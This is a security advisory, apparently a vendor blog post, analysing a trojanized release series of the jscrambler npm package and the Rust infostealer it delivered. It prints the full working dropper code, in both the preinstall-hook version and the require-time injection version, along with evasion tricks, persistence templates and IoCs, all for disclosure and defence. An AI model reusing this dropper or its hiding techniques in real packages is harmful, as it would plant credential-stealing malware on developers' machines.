---
title: "Official jscrambler npm Package Compromised Across Multiple Releases"
description: "The official jscrambler npm package (60K monthly downloads) was trojanized starting at 8.14.0 through an npm account or CI compromise. The attacker republished the same Rust infostealer across five releases in three hours, including 19 minutes after a clean remediation release, and pivoted from a preinstall hook to running the dropper from the module code itself to slip past install-script scanners."
url: "https://safedep.io/blog/jscrambler-npm-supply-chain-compromise"
author: "SafeDep Team"
published: "2026-07-11"
---

# Official jscrambler npm Package Compromised Across Multiple Releases

## TL;DR

The official `jscrambler` npm package, published by the legitimate `jscrambler_` account (`info@jscrambler.com`), was trojanized on July 11, 2026. Over about three hours the attacker published five malicious releases (8.14.0, 8.16.0, 8.17.0, 8.18.0, and 8.20.0), interleaved with clean releases the maintainers appear to have pushed as remediation. Every malicious version carries the same native dropper. It unpacks a platform-matched, Rust-compiled infostealer from a bundled binary container and runs it detached. The stealer targets browser profile data (Chrome, Brave, Edge, Chromium), the Bitwarden browser extension, and Steam sessions, and installs persistence through Windows Task Scheduler and macOS LaunchAgents.

The attacker went further than a normal single-version compromise in two ways. First, they republished the identical payload at 8.16.0 just 19 minutes after a clean 8.15.0 shipped, so the first remediation did not close the credential or CI access. Second, at 8.18.0 they moved the dropper out of the `preinstall` hook and into the package's own `dist/index.js` and `dist/bin/jscrambler.js`, where it runs when the module is required rather than at install time. A scanner that only flags suspicious install scripts sees nothing.

As of the latest check, `latest` points to a clean 8.22.0, and 8.14.0, 8.16.0, and 8.17.0 are deprecated as compromised. The two runtime-dropper versions, 8.18.0 and 8.20.0, are still published and not deprecated. No commit, tag, or release for any malicious version exists in the [jscrambler GitHub repository](https://github.com/jscrambler/jscrambler), which points to an npm account or CI pipeline compromise rather than a source repository compromise. With roughly 60,000 monthly downloads, the blast radius is significant.

**Impact:**

- Installing or importing a malicious version runs a native binary that targets browser credentials across Chrome, Chromium, Brave, and Edge
- The Bitwarden browser extension (`nngceckbapebfimnlniiiahkandclblb`) is explicitly targeted, putting stored vault data at risk
- Steam session cookies (`steamLoginSecure`, `sessionid`) are harvested
- The payload installs persistent scheduled tasks (Windows) or LaunchAgents (macOS) that survive reboots
- The attacker reused one payload bundle, byte-identical across every malicious release, and changed only the trigger
- From 8.18.0 onward the dropper fires from the package's normal code path, so auditing only for install hooks no longer detects it

**Timeline (2026-07-11, UTC):**

| Version | Published | Status                                                                                     |
| ------- | --------- | ------------------------------------------------------------------------------------------ |
| 8.13.0  | Jun 30    | Clean. Last release before the campaign                                                    |
| 8.14.0  | 15:12     | Malicious. `preinstall` dropper. Deprecated as compromised                                 |
| 8.15.0  | 17:07     | Clean. Code byte-identical to 8.13.0                                                       |
| 8.16.0  | 17:26     | Malicious. Identical payload reintroduced 19 minutes later. Deprecated                     |
| 8.17.0  | 17:41     | Malicious. `preinstall` dropper. Deprecated as compromised                                 |
| 8.18.0  | 17:46     | Malicious. Dropper moved into `dist/index.js` and `dist/bin/jscrambler.js`. Not deprecated |
| 8.20.0  | 17:53     | Malicious. Same runtime dropper. Not deprecated                                            |
| 8.22.0  | 18:12     | Clean. Current `latest`. Code byte-identical to 8.15.0                                     |

Versions 8.19.0 and 8.21.0 were never published.

**Indicators of Compromise (IoC):**

- Malicious versions with `preinstall` dropper: `jscrambler@8.14.0`, `8.16.0`, `8.17.0`
- Malicious versions with runtime dropper in module code: `jscrambler@8.18.0`, `8.20.0`
- Clean versions: `jscrambler@8.13.0`, `8.15.0`, `8.22.0`
- Payload container (`dist/intro.js`), identical across all malicious versions: 7,837,238 bytes, magic `1b 43 53 49 01` (`\x1bCSI\x01`), SHA256 `a41a523ef9517aab37ed6eea0ec881821bdcb7aefcb5c5f603adc7907f868c86`
- SHA256 (Linux ELF x86-64): `fbbcf4d8f98168f78f5c0c47a9ae56d59ec8ac84a7c9ca6b797fedfb8d62d2bd`
- SHA256 (Windows PE x86-64): `b7ca95d1b23c8e67416a25cedf741de0917c2096bbc9d24649eea7853d054903`
- SHA256 (macOS Mach-O arm64): `c8fd47d36bdf7c825378593ab82ed8c24d1dc52e26b507812393e24e1d5201fd`
- Install hook (8.14.0, 8.16.0, 8.17.0): `"preinstall": "node dist/setup.js"`
- Runtime dropper (8.18.0, 8.20.0): an IIFE at the top of `dist/index.js` and `dist/bin/jscrambler.js` that reads `dist/intro.js`
- Self-dependency (8.18.0, 8.20.0): `"jscrambler": "^8.17.0"` listed in the package's own dependencies
- Bitwarden extension ID targeted: `nngceckbapebfimnlniiiahkandclblb`
- Embedded hash (Windows binary): `9eeffcb5c3445ef9512f7776045f99ea23f9ebed989f8570bc4634b4e340de5d`
- PDB GUID: `6976bd1e56f6b4214c4c44205044422e` (Windows build fingerprint)
- Linux Build ID: `c05bf7dc45672d7a59cbd5e300f586482da14d00`
- Compiler: `rustc 1.98.0-nightly (e7815e522 2026-06-04)`
- Host artifacts: hidden dotfiles in `os.tmpdir()` (`.{random}` on Linux/macOS, `.{random}.exe` on Windows)
- Windows Task Scheduler XML with `<Hidden>true</Hidden>`, restart interval PT1M, count 999
- macOS LaunchAgent plist with `RunAtLoad`, `KeepAlive`, `StartInterval` 30s

## Analysis

### The compromise surface

Jscrambler is a commercial JavaScript protection platform. Their official npm CLI client, published under the `jscrambler_` account (`info@jscrambler.com`), has ten maintainers, several with `@jscrambler.com` email addresses.

```
# Registry metadata for jscrambler
Maintainers: jscrambler_ (info@jscrambler.com),
             antonio.soares (antonio.soares@jscrambler.com),
             jose.cerqueira (jose.cerqueira@jscrambler.com),
             f-ribeiro (filipe.ribeiro@jscrambler.com),
             vitormagano (vitor.magano@jscrambler.com),
             ... and 5 others
```

Version 8.13.0 was published on June 30, 2026, matching [a GitHub commit](https://github.com/jscrambler/jscrambler/commit/4083196b) from the same day. Version 8.14.0 appeared on July 11, 2026, with no corresponding GitHub commit, tag, or pull request. The GitHub repo's latest tag is `jscrambler@8.13.0`. The attacker published directly to npm, bypassing the project's normal release workflow.

The other packages in the jscrambler ecosystem (`jscrambler-webpack-plugin`, `gulp-jscrambler`, `jscrambler-metro-plugin`, `grunt-jscrambler`) were not affected. Their latest versions remain on the June 30 release and carry no install hooks.

### The dropper

The only change to `package.json` between 8.13.0 and 8.14.0 is the addition of a `preinstall` script:

```diff
# diff package.json (8.13.0 vs 8.14.0)
-    "eslint:fix": "eslint src/ --fix"
+    "eslint:fix": "eslint src/ --fix",
+    "preinstall": "node dist/setup.js"
```

The dropper itself is 43 lines of clean, readable JavaScript. No obfuscation:

```javascript
// dist/setup.js (jscrambler@8.14.0)
import { readFileSync, writeFileSync } from 'fs';
import { join, dirname } from 'path';
import { fileURLToPath } from 'url';
import { gunzipSync } from 'zlib';
import { spawn } from 'child_process';
import { tmpdir } from 'os';

const __dirname = dirname(fileURLToPath(import.meta.url));

const PLATFORM_IDS = { linux: 0, win32: 1, darwin: 2 };

function ensureNativeRuntime() {
  const bundle = readFileSync(join(__dirname, 'intro.js'));
  const magic = Buffer.from([0x1b, 0x43, 0x53, 0x49, 0x01]);
  if (!bundle.slice(0, 5).equals(magic)) return;

  const platformId = PLATFORM_IDS[process.platform];
  if (platformId === undefined) return;

  const count = bundle[5];
  let offset = 6;

  for (let i = 0; i < count; i++) {
    const platform = bundle[offset++];
    offset += 8;
    const compressedSize = Number(bundle.readBigUInt64LE(offset));
    offset += 8;
    const data = bundle.slice(offset, offset + compressedSize);
    offset += compressedSize;

    if (platform !== platformId) continue;

    const ext = platform === 1 ? String.fromCharCode(46, 101, 120, 101) : '';
    const target = join(tmpdir(), '.' + Math.random().toString(36).slice(2) + ext);
    writeFileSync(target, gunzipSync(data), { mode: platform === 1 ? 0o644 : 0o755 });

    try {
      const proc = spawn(target, [], { detached: true, stdio: 'ignore', windowsHide: true });
      proc.unref();
    } catch (_) {}
    break;
  }
}

ensureNativeRuntime();
```

The function name `ensureNativeRuntime` is social engineering aimed at anyone who might glance at the file. A few details worth noting:

- The `.exe` extension on Windows is constructed via `String.fromCharCode(46,101,120,101)` to avoid static string matching. That decodes to `.exe`
- The output file is dot-prefixed (`'.' + Math.random()...`) to hide it in directory listings on Unix systems
- `detached: true`, `stdio: 'ignore'`, and `proc.unref()` ensure the spawned binary outlives the npm install process
- `windowsHide: true` suppresses the console window on Windows
- The entire spawn is wrapped in a try/catch that swallows all errors

### The binary container

The `dist/intro.js` file is 7,837,238 bytes (7.5 MB) of raw binary data, not JavaScript despite the `.js` extension. It uses a custom container format:

```
Offset  Content
0x00    Magic: 1b 43 53 49 01 (\x1bCSI\x01)
0x05    Platform count: 03
0x06    Entry 0 (linux):   platformId=0, decompressedSize=4521128, compressedSize=2411350, gzip data...
        Entry 1 (win32):   platformId=1, decompressedSize=5155328, compressedSize=3340266, gzip data...
        Entry 2 (darwin):  platformId=2, decompressedSize=3184979, compressedSize=2085565, gzip data...
```

Each entry is a gzip-compressed native executable. After decompression:

| Platform | Format                         | Architecture          | Decompressed Size |
| -------- | ------------------------------ | --------------------- | ----------------- |
| Linux    | ELF 64-bit, dynamically linked | x86-64                | 4.31 MB           |
| Windows  | PE32+ console executable       | x86-64                | 4.92 MB           |
| macOS    | Mach-O executable              | arm64 (Apple Silicon) | 3.04 MB           |

All three are stripped, Rust-compiled binaries. The Rust toolchain is identifiable from rustls TLS library strings, CRYPTOGAMS crypto module markers, and Rust-standard error handling patterns throughout the binary.

### Payload analysis

Binary analysis with radare2 confirms the dropped executables are compiled with `rustc 1.98.0-nightly (e7815e522 2026-06-04)`, run on the Tokio async runtime, and carry a debug symbol path of `agent.pdb`. The project name "agent" is the attacker's label for the payload.

```
# r2 binary metadata (Windows PE)
compiler   rustc version 1.98.0-nightly (e7815e522 2026-06-04)
dbg_file   agent.pdb
pdb_guid   6976bd1e56f6b4214c4c44205044422e
pdb_age    1
linker     14.0 (lld-link, no Rich header)
timestamp  0x00000000 (zeroed)
checksum   0x00000000 (zeroed)
subsystem  WINDOWS_CUI (console)

# Linux ELF build metadata
build_id   c05bf7dc45672d7a59cbd5e300f586482da14d00
abi        Linux 4.4.0
```

The attacker practiced deliberate OPSEC. The PDB path is `agent.pdb` (relative, no full build directory), the PE timestamp and checksum are both zeroed, there is no Rich header (ruling out the MSVC linker, confirming `lld-link`), and all Rust panic source locations are stripped. No Cargo metadata, no `.cargo/registry` paths, no source file references leak through the binary. The project name "agent" is the only label the attacker left on the payload.

The PDB GUID (`6976bd1e...`), Linux Build ID (`c05bf7dc...`), and the nightly compiler pin (`e7815e522`, June 4, 2026) are durable fingerprints. If this toolchain surfaces in another compromise, these values tie the builds together.

The binaries are not simple credential harvesters. They implement a streaming C2 protocol, cloud secrets theft, browser data extraction, and Electron app targeting.

#### C2 command protocol

All three platform binaries contain the same JSON message protocol for real-time command execution:

```
# Strings from all three binaries
{"t":"out","id":"...","data":...,"progress":true}
{"t":"done","id":"..."}
```

The `"t":"out"` messages stream command output back to the operator with progress tracking. `"t":"done"` signals completion. This is a bidirectional RAT protocol, not one-way exfiltration.

#### AWS cloud secrets theft

The binaries construct AWS Signature Version 4 authentication headers and call AWS Secrets Manager and SSM Parameter Store APIs:

```
# AWS SigV4 header components (all three binaries)
Credential=
, SignedHeaders=
, Signature=

# AWS Secrets Manager GetSecretValue request body
{"SecretId":"..."}

# AWS SSM Parameter Store GetParameters request body
{"Names":["..."],"WithDecryption":true}
```

The `WithDecryption: true` flag requests plaintext values for encrypted parameters. The binary uses stolen AWS credentials from the compromised machine to access cloud secrets, expanding the blast radius from the local machine to any AWS infrastructure those credentials can reach.

#### Hashicorp Vault targeting

A nested Vault response parser appears in all three binaries:

```
# Vault API response parsing (all three binaries)
vault":"{\"data\":\"{\"data\":\"{"data":"
```

This matches the structure of Hashicorp Vault's `v1/secret/data/` API responses, where the `data` field contains the secret payload. The binary can extract secrets from Vault instances accessible with stolen tokens.

#### Browser credential theft

The Windows binary targets four Chromium-based browsers by reading their profile directories:

```
# Strings from win32_payload.exe
LOCALAPPDATAGoogle\Chrome\User DataChromium\User Data
BraveSoftware\Brave-Browser\User DataMicrosoft\Edge\User Data
```

An embedded SQLite engine reads browser databases directly (Login Data, Cookies, Web Data). Full FTS (full-text search) CREATE TABLE statements are present, indicating the binary indexes and searches extracted data. A compiled-in LevelDB reader (`leveldb.BytewiseComparator`, `.ldb`, `MANIFEST-`) handles browser local storage and extension data.

#### Password manager and session theft

The Bitwarden browser extension ID is hardcoded in the Windows binary:

```
# Strings from win32_payload.exe
nngceckbapebfimnlniiiahkandclblb
```

This is Bitwarden's official Chrome Web Store identifier. The binary reads the extension's LevelDB local storage.

Steam session cookies appear as a contiguous string in all three binaries:

```
# Strings from win32_payload.exe
steamLoginSecuresessionidbrowseridtimezoneOffset
```

These cookies grant full account access without credentials.

#### Electron app data extraction

The binaries contain an ASAR archive parser:

```
# Strings from linux_payload
asar.unpacked
struct File
struct FileIntegrity
Archive is truncated
struct variant Header::Link
```

ASAR is the archive format used by Electron applications. This means the payload can extract data from Discord, Slack, VS Code, and other Electron-based desktop apps by reading their archived application data.

#### Encrypted C2 configuration

The C2 endpoints are not visible in plaintext. The Windows binary contains an 80KB (81,920 bytes, 16-byte aligned) encrypted data blob in the `.rdata` section starting at offset `0x326400`. Every 4KB block in this region exceeds 7.9 bits of entropy. The blob is not ASN.1 (ruling out CA certificates) and does not respond to single-byte XOR.

The binary includes AES-NI hardware instructions (263 `aesenc`/`aesdec`/`aeskeygenassist` call sites in the Linux ELF), PBKDF2, and scrypt key derivation strings, which suggests the configuration is decrypted at startup from a key derived from a hardcoded passphrase. Recovering the C2 addresses without dynamic analysis is not feasible.

#### HTTP request templates

The macOS binary contains the clearest view of the HTTP templates used for C2 communication. Values like host, bearer token, and cookie are filled at runtime from the decrypted configuration:

```
# Reconstructed from darwin_payload string fragments
POST <path> HTTP/1.1
Host: <decrypted>
Authorization: Bearer <decrypted>
Cookie: <key>=<decrypted>
Content-Type: <decrypted>
Content-Length: 0
Connection: close

GET <path> HTTP/1.1
Host: <decrypted>
Authorization: Bearer <decrypted>
Accept: application/json
Connection: close
```

The raw `ws2_32.dll` Winsock imports (no WinHTTP/WinINet) confirm the binary handles TCP connections and TLS (via embedded rustls) directly, bypassing system HTTP libraries that might be monitored.

### Self-propagation capability

The Linux binary contains a tokenized copy of the dropper's own JavaScript source code, embedded in the `.rodata` section. The import chain and the `String.fromCharCode` evasion technique are both present:

```
# Strings from linux_payload .rodata at offset 0x670f8
import{readFileSync as ...}from'fs';
import{join as ...,dirname as ...}from'path';
import{fileURLToPath as ...}from'url';
import{gunzipSync as ...}from'zlib';
import{spawn as ...}from'child_process';
import{tmpdir as ...}from'os';
...
2===1?String.fromCharCode(46,101,120,101):'';
```

The `2===1` is the tokenized form of `platform === 1` (the Windows platform check). The template is parameterized with `\xc0XX` placeholder tokens where variable names and string literals should be. This is a code generation template: the binary can emit new copies of the dropper with fresh variable names, potentially to inject into other npm packages or JavaScript projects on the compromised machine. The presence of the ASAR parser alongside this template raises the possibility that the payload can trojanize Electron applications by injecting the dropper into their archived source code.

### Persistence mechanisms

**Windows: Task Scheduler.** The Windows binary contains a full Task Scheduler XML template:

```xml
<!-- Reconstructed from strings in win32_payload.exe -->
<RegistrationInfo><Description>
</Description></RegistrationInfo>
<Triggers>
</Triggers>
<Principals><Principal id="A">
</Principal></Principals>
<Settings>
  <Hidden>true</Hidden>
  <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
  <RestartOnFailure>
    <Interval>PT1M</Interval>
    <Count>999</Count>
  </RestartOnFailure>
</Settings>
<Actions Context="A"><Exec><Command>
</Command></Exec></Actions></Task>
```

The task is hidden, runs with an unlimited execution time, and restarts every minute up to 999 times if it fails. `cmd.exe` execution strings confirm it can run shell commands.

**macOS: LaunchAgent.** The macOS binary contains a LaunchAgent plist template:

```xml
<!-- Reconstructed from strings in darwin_payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>...</string>
  <key>ProgramArguments</key>
  <array><string>...</string></array>
  <key>RunAtLoad</key>
  <!-- ... -->
  <key>KeepAlive</key>
  <!-- ... -->
  <integer>30</integer>
</dict>
</plist>
```

`RunAtLoad` and `KeepAlive` with a 30-second `StartInterval` ensures the binary restarts on login and relaunches if killed.

**Linux: BPF capabilities.** The Linux binary links against `libbpf.so.1`, the BPF (Berkeley Packet Filter) library used for kernel-level network and tracing operations. It also reads `/proc/self/mountinfo` and `/proc/self/cgroup` for container and environment detection.

### Attack evolution and the tug-of-war

The attacker did not stop at 8.14.0. Over the following three hours, six more versions were published through the same compromised `jscrambler_` account. The GitHub commit history from the same window reveals that the legitimate maintainers were actively fighting for control at the same time, creating a version-by-version tug-of-war.

**The binary payload is identical across every compromised version.** All five versions that carry `dist/intro.js` have the same SHA256 (`a41a523ef9517aab37ed6eea0ec881821bdcb7aefcb5c5f603adc7907f868c86`). The `setup.js` dropper is also byte-identical across 8.14.0, 8.16.0, and 8.17.0. What changed is the delivery mechanism.

**Round 1: preinstall hook (8.14.0, 15:12 UTC).** The original attack. Two new files (`setup.js`, `intro.js`), one new `package.json` field. All existing code untouched.

**Maintainer response (8.15.0, 17:07 UTC).** Joao Pinto (maintainer `joaopintomfc`) pushed [commit 7fe1986](https://github.com/jscrambler/jscrambler/commit/7fe19863) to GitHub: "release jscrambler 8.15.0 with security fix." Version 8.15.0 is clean, with code identical to 8.13.0 and a CHANGELOG entry noting the fix. This reclaimed the `latest` dist-tag.

**Round 2: preinstall hook again (8.16.0, 17:26 UTC).** The attacker republished with the same payload and hook, taking back `latest`.

**Round 3: pnpm bypass (8.17.0, 17:41 UTC).** Same payload and hook, but `package.json` now includes:

```json
// package.json diff: 8.16.0 vs 8.17.0
+ "allowScripts": ["jscrambler"],
```

This is pnpm's mechanism for whitelisting lifecycle scripts. The attacker added it to ensure the `preinstall` hook runs even in pnpm projects that restrict script execution.

**Round 4: require-time injection (8.18.0, 17:46 UTC).** The attacker changed tactics entirely. The `preinstall` hook and `setup.js` were removed. Instead, the dropper code was injected directly into `dist/index.js` and `dist/bin/jscrambler.js` as an IIFE at the top of each file:

```javascript
// dist/index.js (8.18.0) — lines 3-35, injected before existing code
var _fs = require("fs");
var _path = require("path");
var _zlib = require("zlib");
var _child_process = require("child_process");
var _os = require("os");
(function () {
  var PLATFORM_IDS = { linux: 0, win32: 1, darwin: 2 };
  try {
    var bundle = (0, _fs.readFileSync)((0, _path.join)(__dirname, 'intro.js'));
    var magic = Buffer.from([0x1b, 0x43, 0x53, 0x49, 0x01]);
    if (!bundle.slice(0, 5).equals(magic)) return;
    var platformId = PLATFORM_IDS[process.platform];
    if (platformId === undefined) return;
    // ... same dropper logic as setup.js ...
    var ext = platform === 1 ? '.exe' : '';
    var target = (0, _path.join)((0, _os.tmpdir)(),
      '.' + Math.random().toString(36).slice(2) + ext);
    (0, _fs.writeFileSync)(target, (0, _zlib.gunzipSync)(data),
      { mode: platform === 1 ? 0o644 : 0o755 });
    try {
      var proc = (0, _child_process.spawn)(target, [],
        { detached: true, stdio: 'ignore', windowsHide: true });
      proc.unref();
    } catch (_) {}
    break;
  } catch (_) {}
})();
```

This is a significant escalation. The dropper now fires whenever any code calls `require('jscrambler')` or runs the `jscrambler` CLI. It **bypasses `npm install --ignore-scripts`** entirely. The code was also converted from ESM (`import`) to CommonJS (`require`) to match the existing codebase, and the `String.fromCharCode` evasion for `.exe` was dropped in favor of a plain string.

The `bin/jscrambler.js` injection is identical except for the path to `intro.js`, which uses `'..', 'intro.js'` to reach the parent directory from `dist/bin/`.

**Round 5: identical re-publish (8.20.0, 17:53 UTC).** Byte-identical `index.js`, `bin/jscrambler.js`, and `intro.js` to 8.18.0. Only the version number changed.

Both 8.18.0 and 8.20.0 also add a self-referential entry to their own dependencies:

```json
// package.json dependencies (jscrambler@8.18.0 and 8.20.0)
"jscrambler": "^8.17.0"
```

A package listing its own name as a dependency has no clear legitimate purpose. In some install topologies it could pull a compromised sibling version into the tree. What that does in a real dependency graph is unclear, and maintainers should assess it.

**Maintainer response (8.22.0, 18:12 UTC).** Maintainer `vitorveiga` pushed several GitHub commits between 17:50 and 18:04 UTC and published 8.22.0 with clean code (identical to 8.13.0) to reclaim `latest`. Later that evening, commits adding a "security incident banner" were pushed at 20:24 and 22:12 UTC.

The four other packages in the jscrambler npm ecosystem (`jscrambler-webpack-plugin@8.6.0`, `gulp-jscrambler@8.6.0`, `jscrambler-metro-plugin@9.0.0`, `grunt-jscrambler@8.5.0`) were not affected. Their latest versions remain on the June 30 release.

## Remediation

Anyone who installed any of `jscrambler@8.14.0`, `8.16.0`, `8.17.0`, `8.18.0`, or `8.20.0` should treat the machine as compromised. For the `preinstall` versions the payload ran at install time, before any application code. For 8.18.0 and 8.20.0 it runs whenever the module is required or the CLI is invoked, so any build or process that imported `jscrambler` triggered it. Rotating browser-stored credentials, Bitwarden master passwords, and Steam sessions is the minimum response. On Windows, check Task Scheduler for hidden tasks. On macOS, inspect `~/Library/LaunchAgents/` for unfamiliar plists.

Because 8.18.0 and 8.20.0 are still published and not deprecated, an unpinned install that resolved to either one before `latest` moved to 8.22.0 would have pulled the runtime dropper, and an install-script audit would not have caught it. Pin to a version confirmed clean by reading its code, not by the absence of an install script. The current `latest`, 8.22.0, has `dist/index.js` and `dist/bin/jscrambler.js` byte-identical to the clean 8.15.0 and 8.13.0. Until the maintainers confirm the publishing credential is rotated and the access path is closed, treat any new release with caution, since the attacker has re-entered the pipeline once after a remediation.

SafeDep's [Package Manager Guard (pmg)](https://github.com/safedep/pmg) blocks packages with a malware verdict before they reach your environment. The verdict comes from analyzing the package payload rather than from spotting a suspicious install hook, so the same gate that would have rejected the `preinstall` versions also covers 8.18.0 and 8.20.0, where the dropper hides in the module's own code and there is no install script to flag.
